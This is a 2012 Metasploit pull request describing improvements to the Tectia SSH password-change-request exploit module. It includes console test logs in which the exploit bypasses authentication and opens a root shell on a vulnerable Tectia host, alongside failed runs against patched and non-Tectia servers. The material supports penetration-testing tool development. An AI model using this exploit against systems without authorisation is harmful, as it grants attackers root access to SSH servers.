rapid7/metasploit-framework — pull request #1131 by wchen-r7 (2012-12-06 03:37:52+00:00)
Title: Lots of improvements for Tectia SSH module

Keyboard-interactive method isn't required to exploit Tectia, so this update will just go straight to password method. There's also improvements for the check() method: Not only does it check the SSH version, it'll also check and see if the server is using password method to auth.

Tested against these scenarios:

A vulnerable version of Tectia SSH.

msf exploit(tectia_passwd_changereq) > check

[*] 10.0.1.13:22 - Banner: SSH-2.0-6.3.2.33 SSH Tectia Server
[+] The target is vulnerable.
msf exploit(tectia_passwd_changereq) > exploit

[*] 10.0.1.13:22 - Sending USERAUTH Change request...
[*] 10.0.1.13:22 - Auths that can continue: 52
[*] Found shell.
[*] Command shell session 2 opened (10.0.1.3:53975 -> 10.0.1.13:22) at 2012-12-05 21:23:57 -0600

id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

A vulnerable version of Tectia SSH, but uses key authentication.

msf exploit(tectia_passwd_changereq) > check

[*] 192.168.232.128:22 - Banner: SSH-2.0-OpenSSH_5.3
[*] The target is not exploitable.
msf exploit(tectia_passwd_changereq) > exploit

[-] 192.168.232.128:22 - This host does not use password method authentication
[*] Exploit completed, but no session was created.
msf exploit(tectia_passwd_changereq) >

A patched version of Tectia.

msf exploit(tectia_passwd_changereq) > check

[*] 10.0.1.13:22 - Banner: SSH-2.0-6.3.3.81 SSH Tectia Server
[*] The target is not exploitable.
msf exploit(tectia_passwd_changereq) > exploit

[*] 10.0.1.13:22 - Sending USERAUTH Change request...
[*] 10.0.1.13:22 - Auths that can continue: 51
[*] Exploit completed, but no session was created.
msf exploit(tectia_passwd_changereq) >

A SSH server (OpenSSH on Ubuntu) that is not Tectia.

msf exploit(tectia_passwd_changereq) > check

[*] 10.0.1.11:22 - Banner: SSH-2.0-OpenSSH_6.1
[*] The target is not exploitable.